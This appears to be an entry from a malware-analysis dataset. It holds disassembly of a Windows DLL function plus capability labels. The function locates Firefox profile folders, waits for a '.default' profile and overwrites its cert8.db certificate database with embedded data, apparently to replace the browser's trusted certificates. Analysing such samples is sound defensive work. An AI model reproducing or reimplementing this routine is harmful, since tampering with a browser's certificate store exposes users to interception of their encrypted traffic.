Function at 0x180001c20
Capabilities:
Check if file exists
Enumerate files on windows
Get file attributes
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x4c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4b0], rax
lea rcx, str.shell32.dll
xor ebp, ebp
mov esi, ebp
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x180001c8b
lea rdx, str.SHGetKnownFolderPath
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18002fc18], rax
test rax, rax
je 0x180001c8b
lea r9, [rsp + 0x40]
lea rcx, [0x180012358]
xor r8d, r8d
mov edx, 0x1000
call rax
test eax, eax
jns 0x180001c92
xor eax, eax
jmp 0x180001dbb
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x2a0]
mov edx, 0x104
mov qword [rsp + 0x4d0], rbx
mov qword [rsp + 0x4d8], rdi
call fcn.180002f98
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea r8, str.MozillaFirefoxProfiles
lea rcx, [rsp + 0x2a0]
mov edx, 0x104
call fcn.180002f10
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x180001d0e
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180001cf0
lea r8, [0x180017f2c]
lea rcx, [rsp + 0x2a0]
mov edx, 0x104
call fcn.180002f10
mov edi, ebp
nop dword [rax]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001d93
nop dword [rax]
test byte [rsp + 0x50], 0x10
je 0x180001d6d
lea rdx, str..default
lea rcx, [rsp + 0x7c]
call fcn.180002b44
test rax, rax
jne 0x180001d81
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180001d50
jmp 0x180001d86
mov esi, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
test esi, esi
jne 0x180001ddc
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x50
jl 0x180001d30
test esi, esi
jne 0x180001ddc
xor eax, eax
mov rbx, qword [rsp + 0x4d0]
mov rdi, qword [rsp + 0x4d8]
mov rcx, qword [rsp + 0x4b0]
xor rcx, rsp
call fcn.180002780
mov rbp, qword [rsp + 0x4e0]
add rsp, 0x4c0
pop rsi
ret
lea rcx, [rsp + 0x2a0]
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], bp
jne 0x180001df0
dec eax
movsxd rcx, eax
add rcx, rcx
cmp rcx, 0x208
jae 0x180001ec1
mov word [rsp + rcx + 0x2a0], bp
lea r8, [rsp + 0x7c]
lea rcx, [rsp + 0x2a0]
mov edx, 0x104
call fcn.180002f10
lea r8, str.cert8.db
lea rcx, [rsp + 0x2a0]
mov edx, 0x104
call fcn.180002f10
xor r9d, r9d
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x2a0]
lea r8d, [r9 + 1]
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001eba
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x48]
lea rdx, [0x18001e5c0]
mov r8d, 0x10000
mov rcx, rbx
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebp
jmp 0x180001dab
call fcn.180002e60
int3